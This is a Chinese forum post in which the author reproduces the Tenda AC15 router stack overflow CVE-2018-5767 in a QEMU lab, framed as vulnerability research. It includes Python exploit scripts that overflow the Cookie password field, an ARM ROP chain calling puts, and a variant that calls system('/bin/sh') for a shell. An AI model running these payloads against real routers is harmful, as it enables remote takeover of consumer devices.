冰凌汇编

 找回密码
 立即注册

QQ登录

只需一步,快速开始

搜索
查看: 95|回复: 0
收起左侧

Tenda-AC15栈溢出漏洞复现(CVE-2018-5767)

[复制链接]
Pierce 发表于 2022-8-12 22:13:14

1. 前言

CVE-2018-5767是Tenda-AC15路由器所产生的漏洞,由于未对用户的输入进行合理的限制,直接使用了sscanf函数拷贝到栈上,从而导致了栈溢出的情况。

2. 实验环境

Ubuntu 16.04
GDB调试器
路由器固件:Tenda AC15 15.03.1.16_multi

固件下载地址

https://drivers.softpedia.com/dyn-postdownload.php/d27e8410d32cd9de63a3506c47ded1bc/61ff85c5/75eb7/4/1

3. 固件模拟

使用binwalk分离固件系统,在分离过程中可以看出是小端序

binwalk -Me US_AC15V1.0BR_V15.03.1.16_multi_TD01.bin

Tenda-AC15栈溢出漏洞复现(CVE-2018-5767) - Pierce_冰凌汇编

通过对squashfs-root文件系统中的/bin/busybox查看可得,程序为ARM架构
Tenda-AC15栈溢出漏洞复现(CVE-2018-5767) - Pierce_冰凌汇编

其实在文件系统中选哪个可执行文件都无所谓,这里的buxybox选取也只是方便。busybox是一个集成了一百多个常用Linux命令和工具的软件,在嵌入式Linux应用中,busybox应用非常广泛,同时大多数Linux发行版的安装程序中都含有busybox。

这里采用qemu配合chroot命令来启动./bin/httpd文件

sudo apt install qemu-user-static libc6-arm* libc6-dev-arm*
cp /usr/bin/qemu-arm-static .
sudo chroot ./ ./qemu-arm-static ./bin/httpd

chroot,即 change root directory (更改 root 目录)。在 linux 系统中,系统默认的目录结构都是以 /,即以根 (root) 开始的。而在使用 chroot 之后,系统的目录结构将以指定的位置作为 / 位置。
Tenda-AC15栈溢出漏洞复现(CVE-2018-5767) - Pierce_冰凌汇编

运行后程序启动失败,输出下列错误

connect: No such file or directory
Connect to server failed.
connect cfm failed!

不太清楚是不是环境有问题,第一次调试的时候程序直接断在了Welcome to ...那里,后面反而没有这个问题了,不过这里也写下解决方法

IDA搜索WeLoveLinux字符串,查找索引
Tenda-AC15栈溢出漏洞复现(CVE-2018-5767) - Pierce_冰凌汇编

共计三处索引和WeLoveLinux相关,先看第一处
Tenda-AC15栈溢出漏洞复现(CVE-2018-5767) - Pierce_冰凌汇编

R3小于等于0陷入死循环,patch掉给R3赋值那行即可

MOV             R3, R0
MOV             R3, 1

Tenda-AC15栈溢出漏洞复现(CVE-2018-5767) - Pierce_冰凌汇编

Tenda-AC15栈溢出漏洞复现(CVE-2018-5767) - Pierce_冰凌汇编

保存patch后的文件

Edit --> Patch program --> Apply patches to input file...

Tenda-AC15栈溢出漏洞复现(CVE-2018-5767) - Pierce_冰凌汇编

覆盖原httpd文件,赋予权限后,再次运行

再次报错,R3等于0时走左侧,程序结束,同样的方法patch掉
Tenda-AC15栈溢出漏洞复现(CVE-2018-5767) - Pierce_冰凌汇编

Tenda-AC15栈溢出漏洞复现(CVE-2018-5767) - Pierce_冰凌汇编

覆盖掉再次运行,成功模拟到环境
Tenda-AC15栈溢出漏洞复现(CVE-2018-5767) - Pierce_冰凌汇编

这里的IP如果没有模拟br0的话,会是一个随机IP,由于我提前配好了环境,所以直接成功了。这里我们来看下br0网卡的配置

sudo apt install uml-utilities bridge-utils
# /etc/network/interfaces

auto ens33
iface ens33 inet manual
up ifconfig ens33 0.0.0.0 up
auto br0
iface br0 inet dhcp
bridge_ports ens33
bridge_stp off
bridge_maxwait 0
# /etc/qemu-ifup

#! /bin/sh
echo "Executing /etc/qemu-ifup"
echo "Bringing $1 for bridged mode..."
sudo /sbin/ifconfig $1 0.0.0.0 promisc up
echo "Adding $1 to br0..."
sudo /sbin/brctl addif br0 $1
sleep 3
# /etc/qemu-ifdown

#! /bin/sh
# Script to shut down a network (tap) device for qemu.
# Initially this script is empty, but you can configure,
# for example, accounting info here.

:

配置成功后,ens33地址应该已经不显了,br0成功配置IP
Tenda-AC15栈溢出漏洞复现(CVE-2018-5767) - Pierce_冰凌汇编

当然,如果这些配置不成功的话,可以去网上找找资料。环境配的时间太久了,已经记不清当初怎么配的了。。。

4. 漏洞利用

根据CVE公布的poc可知,漏洞位于R7WebsSecurityHandler函数中,未对用户的请求进行合理的限制直接只用sscanf函数将用户的输入复制到栈上。
Tenda-AC15栈溢出漏洞复现(CVE-2018-5767) - Pierce_冰凌汇编

想要到达溢出点,我们只需满足上面的if条件判断即可
Tenda-AC15栈溢出漏洞复现(CVE-2018-5767) - Pierce_冰凌汇编

从if中可以看出,我们只需要构造一个不在上述路径之内的一个虚假路径即可,比如/goform/helloworld

import requests
URL = "http://192.168.7.44:80/goform/helloworld"
cookie = {"Cookie":"password="+"a"*0x400}
requests.get(url=URL, cookies=cookie)

修改程序启动命令

sudo chroot ./ ./qemu-arm-static -g 1234 ./bin/httpd

使用gdb-multiarch调试程序,gdb-multiarch是一种支持调试多种架构程序的gdb

gdb-multiarch ./bin/httpd
target remote :1234
b *0x002ED18
continue

断点位置在R7WebsSecurityHandler函数的正常退出点
Tenda-AC15栈溢出漏洞复现(CVE-2018-5767) - Pierce_冰凌汇编

Tenda-AC15栈溢出漏洞复现(CVE-2018-5767) - Pierce_冰凌汇编

运行脚本,程序没有正常断在函数结束处
Tenda-AC15栈溢出漏洞复现(CVE-2018-5767) - Pierce_冰凌汇编

使用bt查看调用路径,0x2c5cc在溢出后被执行
Tenda-AC15栈溢出漏洞复现(CVE-2018-5767) - Pierce_冰凌汇编

此时说明0x2c5cc处的函数影响了我们程序的正常执行,回到漏洞函数分析可知。如果我们的请求中包含如下几种字样之一就可以直接令漏洞函数返回,比如".png"
Tenda-AC15栈溢出漏洞复现(CVE-2018-5767) - Pierce_冰凌汇编

修改python脚本,重新执行

import requests
URL = "http://192.168.7.44:80/goform/helloworld"
cookie = {"Cookie":"password="+"a"*0x400+".pngAAA"}
requests.get(url=URL, cookies=cookie)

成功执行到函数结束
Tenda-AC15栈溢出漏洞复现(CVE-2018-5767) - Pierce_冰凌汇编

ni,单步执行
Tenda-AC15栈溢出漏洞复现(CVE-2018-5767) - Pierce_冰凌汇编

执行后发现填充的字符串最低位和往常不太一样,被置0了。按照师傅的解释,是因为arm模式与thumb模式的切换问题。在函数退出时执行了pop pc的操作,而最低有效位(LSB)将会被写入到CPSR寄存器的T位中,而pc本身的最低位则会被置零。

下面的流程涉及到了rop链的利用等等,这点我也不熟悉,所以下面的流程我会直接按照师傅的解释来。

pwntools的checksec模块,查看下httpd的保护机制,可以看到httpd开启了NX保护机制
Tenda-AC15栈溢出漏洞复现(CVE-2018-5767) - Pierce_冰凌汇编

因为httpd开启了NX保护机制的原因,所以我们需要构造rop链来完成利用。使用ropper工具从/lib/libc.so.0中查找所要用到的gadget,同时因为QEMU未开启基址随机化,因此我们可以在gdb中使用vmmap命令找到libc的基址从而计算出我们需要的gadget。
Tenda-AC15栈溢出漏洞复现(CVE-2018-5767) - Pierce_冰凌汇编

Tenda-AC15栈溢出漏洞复现(CVE-2018-5767) - Pierce_冰凌汇编

这两条指令的选取需要对应,即mov r3、pop r3,虽然不太清楚为啥。。。猜测是blx跳转指令集的原因,跳转后应该还是要pop回来的。

0x00040cb8  mov r0, sp; blx r3;
0x00018298  pop {r3, pc};

编写exp时我们还需要libc的基址,这里使用gdb中的vmmap。使用vmmap的前提是我们的程序需要处于运行状态,即如下状态。

下完断点,输入continue运行后,程序会保持运行态。这时运行脚本,程序就会成功断在断点处,我们可以开心的输入vmmap查看基址了。

另外,这里为了防止跑飞,断点我选在了R7WebsSecurityHandler函数退出的前几行b *0x002de94
Tenda-AC15栈溢出漏洞复现(CVE-2018-5767) - Pierce_冰凌汇编

运行vmmap后,我们可以看到我们的libc基址如下(每个人的基址可能都不相同,因此需要自己查一下)
Tenda-AC15栈溢出漏洞复现(CVE-2018-5767) - Pierce_冰凌汇编

另外,关于两段gadget也可以在IDA中看到
Tenda-AC15栈溢出漏洞复现(CVE-2018-5767) - Pierce_冰凌汇编

Tenda-AC15栈溢出漏洞复现(CVE-2018-5767) - Pierce_冰凌汇编

5. EXP

import requests
from pwn import *

base = 0xf65e5000
libc = ELF('./lib/libc.so.0')

puts = base+libc.sym['puts']
_str = "Hello\x00"
mov_r0 = base+0x00040cb8 # mov r0, sp; blx r3;
pop_r3 = base+0x00018298 # pop {r3, pc};
URL = "http://192.168.7.44:80/goform/hello"
pl = 'a'*444+".png"+p32(pop_r3)+p32(puts)+p32(mov_r0)+_str
cookie = {"Cookie":"password="+pl}
requests.get(url=URL, cookies=cookie)

程序运行结束,成功输出hello
Tenda-AC15栈溢出漏洞复现(CVE-2018-5767) - Pierce_冰凌汇编

6. 关于偏移

关于最终脚本中的偏移,大家可能会有些疑问,在这里简单解释下。

为了方便计算偏移,这里我采用了pwntools中的cyclic小工具,首先cyclic 1024,生成1024个随机数
Tenda-AC15栈溢出漏洞复现(CVE-2018-5767) - Pierce_冰凌汇编

接着,我们在第二个脚本基础上修改下

import requests
URL = "http://192.168.7.44:80/goform/helloworld"
alloc = "aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaaezaafbaafcaafdaafeaaffaafgaafhaafiaafjaafkaaflaafmaafnaafoaafpaafqaafraafsaaftaafuaafvaafwaafxaafyaafzaagbaagcaagdaageaagfaaggaaghaagiaagjaagkaaglaagmaagnaagoaagpaagqaagraagsaagtaaguaagvaagwaagxaagyaagzaahbaahcaahdaaheaahfaahgaahhaahiaahjaahkaahlaahmaahnaahoaahpaahqaahraahsaahtaahuaahvaahwaahxaahyaahzaaibaaicaaidaaieaaifaaigaaihaaiiaaijaaikaailaaimaainaaioaaipaaiqaairaaisaaitaaiuaaivaaiwaaixaaiyaaizaajbaajcaajdaajeaajfaajgaajhaajiaajjaajkaajlaajmaajnaajoaajpaajqaajraajsaajtaajuaajvaajwaajxaajyaajzaakbaakcaakdaakeaakfaak"
cookie = {"Cookie":"password="+alloc+".png"}
requests.get(url=URL, cookies=cookie)

其实就是将脚本填充的0x400个a给改为了这串字符而已。

然后,用上面同样的方法去运行我们的程序
Tenda-AC15栈溢出漏洞复现(CVE-2018-5767) - Pierce_冰凌汇编

在这里大家可以看到,我们溢出的字符最后的是paae,这个字符所代表的位置就是我们的偏移,也就是460
Tenda-AC15栈溢出漏洞复现(CVE-2018-5767) - Pierce_冰凌汇编

到了这里脚本中的偏移地址就很好理解了

444*a

4位的".png"

4位的pop_r3

4位的puts

4位的mov_r0

之所以是4位也很好理解,32位程序嘛,栈空间中自然是4位4位的相加啦。
Tenda-AC15栈溢出漏洞复现(CVE-2018-5767) - Pierce_冰凌汇编

计算一下就会发现,我们最终的结果就是444+4+4+4+4=460

是不是和我们上面的偏移相等呢。

7. 关于getshell

单纯执行puts输出只是为了验证漏洞存在与否,真正利用的话,我们还是需要利用system来执行命令。

import requests
from pwn import *

base = 0xf65e5000
libc = ELF('./lib/libc.so.0')

system_addr = base+libc.sym['system']
_str = "/bin/sh\x00"
mov_r0 = base+0x00040cb8 # mov r0, sp; blx r3;
pop_r3 = base+0x00018298 # pop {r3, pc};
URL = "http://192.168.7.44:80/goform/hello"
pl = 'a'*444+".png"+p32(pop_r3)+p32(system_addr)+p32(mov_r0)+_str
cookie = {"Cookie":"password="+pl}
requests.get(url=URL, cookies=cookie)

这里修改脚本,通过libc基址查找system函数并调用,相同的方法运行
Tenda-AC15栈溢出漏洞复现(CVE-2018-5767) - Pierce_冰凌汇编

在这里可以看到我们的system函数确实被调用了,并且写入了/bin/sh,但是真正执行下去发现没个锤子用。。。。
Tenda-AC15栈溢出漏洞复现(CVE-2018-5767) - Pierce_冰凌汇编

当场宣告GG,但是我贼心不死,查找多方攻略后,看到有师傅这样写
Tenda-AC15栈溢出漏洞复现(CVE-2018-5767) - Pierce_冰凌汇编

很好,我也来试下
Tenda-AC15栈溢出漏洞复现(CVE-2018-5767) - Pierce_冰凌汇编

继续修改脚本

import requests
from pwn import *

base = 0xf65e5000
libc = ELF('./lib/libc.so.0')

#system_addr = base+libc.sym['system']
system_addr = 0xf67560f4
_str = "/bin/sh\x00"
mov_r0 = base+0x00040cb8 # mov r0, sp; blx r3;
pop_r3 = base+0x00018298 # pop {r3, pc};
URL = "http://192.168.7.44:80/goform/hello"
pl = 'a'*444+".png"+p32(pop_r3)+p32(system_addr)+p32(mov_r0)+_str
cookie = {"Cookie":"password="+pl}
requests.get(url=URL, cookies=cookie)

很好,再次宣告失败。。。。
Tenda-AC15栈溢出漏洞复现(CVE-2018-5767) - Pierce_冰凌汇编

呼冷静,不生气,让我再去找些参考资料回来
Tenda-AC15栈溢出漏洞复现(CVE-2018-5767) - Pierce_冰凌汇编

多方查找发现并没有解决办法,有个师傅猜测是qemu模拟环境的问题,导致找不到/bin/sh。。。

贫穷使我命途多舛,穷人家的孩子买不起设备,告辞。或许以后摸到了设备可能会再来更新这篇帖子,所以~~~

未完待续。。。

8. 参考链接

https://mp.weixin.qq.com/s/mRq3n3jDM0zvR15JAsLYSA
https://p1kk.github.io/2021/03/29/iot/Tenda%20AC15%20CVE-2018-5767%20CVE-2020-10987/
https://wzt.ac.cn/2019/03/19/CVE-2018-5767/
冰凌汇编免责声明
以上内容均来自网友转发或原创,如存在侵权请发送到站方邮件9003554@qq.com处理。
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

QQ|小黑屋|站点统计|Archiver|小黑屋|RSS|冰凌汇编 ( 滇ICP备2022002049号 滇公网安备 53032102000029号)|网站地图

GMT+8, 2022-9-29 08:33 , Processed in 0.138455 second(s), 13 queries , Redis On.

冰凌汇编 - 建立于2021年12月20日

Powered by Discuz! © 2001-2022 Comsenz Inc.

快速回复 返回顶部 返回列表